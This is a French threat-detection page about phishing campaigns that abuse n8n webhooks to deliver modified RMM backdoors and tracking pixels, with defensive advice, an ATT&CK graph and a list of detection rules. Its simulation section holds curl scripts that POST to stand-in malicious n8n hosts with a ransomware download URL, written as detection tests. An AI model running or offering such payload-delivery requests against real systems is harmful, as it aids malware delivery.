Les Acteurs Malveillants Détournent n8n Pour Automatiser les Attaques Propulsées par l’IA
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Les acteurs malveillants exploitent la plateforme d’automatisation low-code n8n pour distribuer des charges utiles malveillantes et profiler les destinataires des emails. En intégrant des URL de webhook nuisibles dans des messages de phishing, ils peuvent livrer des fichiers exécutables ou des installateurs MSI qui déploient des outils d’accès à distance sur les systèmes des victimes. L’activité inclut également l’utilisation de pixels de suivi invisibles qui collectent des informations sur les victimes dès l’ouverture de l’email. Cette campagne souligne comment un service légitime d’automatisation de flux de travail peut être détourné pour la diffusion de logiciels malveillants sans nécessiter de voler des identifiants.
Enquête
Cisco Talos a analysé une série de campagnes de phishing observées entre octobre 2025 et mars 2026 qui utilisaient des URL de webhook n8n intégrées dans des messages électroniques. Les leurres utilisaient de faux liens OneDrive qui affichaient d’abord un message CAPTCHA avant de fournir soit un fichier .exe ou un fichier MSI. Une fois exécutées, les charges utiles installaient des versions modifiées des outils RMM de Datto ou ITarian et créaient des tâches planifiées pour maintenir la persistance. Talos a également découvert une activité de fingerprinting via des balises d’image qui appelaient des URL de webhook n8n contenant des identifiants spécifiques à la victime.
Atténuation
Les organisations devraient surveiller le trafic sortant inhabituel vers des domaines liés à n8n depuis des systèmes qui n’utilisent pas normalement de services d’automatisation et vérifier les modèles d’URL de webhook suspects. Les URL résolvant vers des sous-domaines inconnus de n8n.cloud devraient être bloquées ou exécutées dans un bac à sable avant d’autoriser l’accès des utilisateurs. Les contrôles de sécurité des emails devraient également être configurés pour détecter le contenu HTML malveillant, les faux flux CAPTCHA et les pixels de suivi cachés. Les indicateurs de compromission pertinents, y compris les URL de webhook et les valeurs de hachage des fichiers malveillants, devraient être partagés avec les plateformes de renseignement sur les menaces et les défenseurs internes.
Réponse
Les équipes de sécurité devraient alerter sur la présence d’URL de webhook n8n dans le contenu des emails ou la télémétrie réseau et isoler tout hôte impacté dès que l’activité suspecte est confirmée. Tous les outils RMM installés et les tâches planifiées associées devraient être supprimés, suivis par une analyse médico-légale pour découvrir toute persistance ou charges utiles supplémentaires. Les politiques de pare-feu et de proxy devraient être mises à jour pour restreindre l’accès aux points de terminaison n8n non autorisés. Les organisations devraient également compléter un processus complet de partage d’IOC avec les équipes internes et partenaires externes de confiance.
"graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff %% Nodes action_phishing["<b>Action</b> – <b>T1566 Phishing</b>: Les acteurs de la menace envoient des emails malveillants contenant des URL de webhook n8n pour attirer les victimes.<br/><b>Description</b>: Le phishing tente de livrer du contenu malveillant par email."] class action_phishing action tool_webhook["<b>Outil</b> – <b>Nom</b>: Webhook n8n<br/><b>Description</b>: Point d’entrée web personnalisé utilisé pour livrer des charges utiles."] class tool_webhook tool action_user_execution["<b>Action</b> – <b>T1204.001 Exécution par l’utilisateur : Lien malveillant</b>: La victime clique sur le lien webhook, provoquant la requête URL par le navigateur.<br/><b>Description</b>: L’utilisateur interagit avec un contenu malveillant."] class action_user_execution action action_exfil_webhook1["<b>Action</b> – <b>T1567.004 Exfiltration via Webhook</b>: Le webhook renvoie une page HTML malveillante avec un CAPTCHA et diffuse une charge utile (EXE ou MSI) tout en servant des pixels de suivi.<br/><b>Description</b>: Utilise un service web pour livrer et exfiltrer des données."] class action_exfil_webhook1 action malware_payload_exe["<b>Malware</b> – <b>Nom</b>: Charge utile EXE/MSI<br/><b>Description</b>: Exécutable qui lance PowerShell pour installer un outil RMM modifié."] class malware_payload_exe malware action_powershell["<b>Action</b> – <b>T1059.001 PowerShell</b>: L’exécutable téléchargé exécute des commandes PowerShell pour configurer et installer l’outil RMM modifié.<br/><b>Description</b>: Interpréteur de commande et de script."] class action_powershell action malware_rmm["<b>Malware</b> – <b>Nom</b>: Porte dérobée RMM modifié<br/><b>Description</b>: Outil de gestion et de surveillance à distance utilisé pour la persistance."] class malware_rmm malware action_service_execution["<b>Action</b> – <b>T1569.002 Exécution de service</b>: L’outil RMM est installé comme un service Windows pour la persistance.<br/><b>Description</b>: S’exécute via un service système."] class action_service_execution action action_scheduled_task["<b>Action</b> – <b>T1053 Tâche/Travail planifié</b>: Une tâche planifiée est créée pour assurer l’exécution persistante de l’outil RMM.<br/><b>Description</b>: Assure l’exécution récurrente."] class action_scheduled_task action action_msi_execution["<b>Action</b> – <b>T1218.007 Msiexec</b>: Le MSI malveillant est exécuté via msiexec pour déployer la porte dérobée RMM.<br/><b>Description</b>: Exécution par un proxy binaire système."] class action_msi_execution action action_exfil_webhook2["<b>Action</b> – <b>T1567.004 Exfiltration via Webhook</b>: Le pixel de suivi invisible charge le webhook pour capturer les événements d’ouverture d’email et les informations de l’appareil pour la reconnaissance."] class action_exfil_webhook2 action %% Connections action_phishing –>|livre| tool_webhook tool_webhook –>|déclenche| action_user_execution action_user_execution –>|conduit à| action_exfil_webhook1 action_exfil_webhook1 –>|livre| malware_payload_exe malware_payload_exe –>|exécute| action_powershell action_powershell –>|installe| malware_rmm malware_rmm –>|persiste via| action_service_execution action_service_execution –>|crée| action_scheduled_task action_scheduled_task –>|soutient| action_msi_execution action_msi_execution –>|déploie| malware_rmm malware_rmm –>|communique via| action_exfil_webhook2 "
Flux d’attaque
Détections
Double extension de fichier potentiellement malveillant (via process_creation)
Voir
Tentative d’exécution du gestionnaire de points de terminaison ITarian sous Windows (via process_creation)
Voir
Logiciel alternatif d’accès/gestion à distance (via process_creation)
Voir
Infiltration / Exfiltration / C2 potentielle via des services / outils tiers (via proxy)
Voir
Infiltration / Exfiltration / C2 potentielle via des services / outils tiers (via DNS)
Voir
IOC (HashSha256) à détecter : Le n8n n8mare : Comment les acteurs de la menace abusent de l’automatisation des workflows IA
Voir
Détecter les requêtes HTTP GET vers les URL de webhook n8n [Proxy]
Voir
Détection d’abus de webhook n8n pour la diffusion de logiciels malveillants et le fingerprinting des appareils [Serveur web]
Voir
Exécution de simulation
Prérequis : Le contrôle pré‑vol de télémétrie et de base doit avoir réussi.
Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.
-
Récit & commandes d’attaque :
Un attaquant achète un domaine de courte durée qui pointe vers
n8n.cloud/webhook. Ils créent un flux de travail n8n malveillant qui, une fois déclenché, sert une charge utile de ransomware. L’email de phishing contient un lien vers une page de destination avec un défi CAPTCHA. La victime résout le CAPTCHA, que le JavaScript de l’attaquant transmet comme la valeurCAPTCHA=solved123dans le corps HTTP d’une requête POST vers le webhook. Le webhook répond avec un téléchargeur PowerShell qui exécute la charge utile. Ce flux génère une requête HTTP dont l’URL contientn8n.cloud/webhookand dont le corps contient la chaîneCAPTCHA, correspondant parfaitement à la règle Sigma.# Étape 1 – La victime complète CAPTCHA (simulé) CAPTCHA_TOKEN="solved123" # Étape 2 – Fabriquer le POST malveillant qui imite l'action de la victime curl -X POST "https://my.malicious-n8n.cloud/webhook/malicious-workflow" -H "Content-Type: application/x-www-form-urlencoded" --data-urlencode "CAPTCHA=${CAPTCHA_TOKEN}" --data-urlencode "payload_url=https://malicious.example.com/ransomware.exe" -
Script de test de régression :
#!/usr/bin/env bash set -euo pipefail # Variables – ajuster à votre environnement de test WEBHOOK_HOST="my.malicious-n8n.cloud" WEBHOOK_PATH="/webhook/malicious-workflow" CAPTCHA_TOKEN="solved123" PAYLOAD_URL="https://malicious.example.com/ransomware.exe" echo "[*] Simulation de l'abus de webhook n8n entraîné par CAPTCHA..." curl -s -o /dev/null -w "%{http_code}n" -X POST "https://${WEBHOOK_HOST}${WEBHOOK_PATH}" -H "Content-Type: application/x-www-form-urlencoded" --data-urlencode "CAPTCHA=${CAPTCHA_TOKEN}" --data-urlencode "payload_url=${PAYLOAD_URL}" echo "[+] Simulation terminée. Vérifiez la détection dans le SIEM." -
Commandes de nettoyage :
# Si un webhook réel a été créé pour les tests, supprimez-le via l'interface ou l'API n8n. # Exemple d'appel API (remplacer API_KEY et WORKFLOW_ID) : curl -X DELETE "https://my.malicious-n8n.cloud/webhook/malicious-workflow" -H "Authorization: Bearer API_KEY" # Supprimer tous les fichiers temporaires (aucun créé dans ce script) echo "[+] Nettoyage terminé."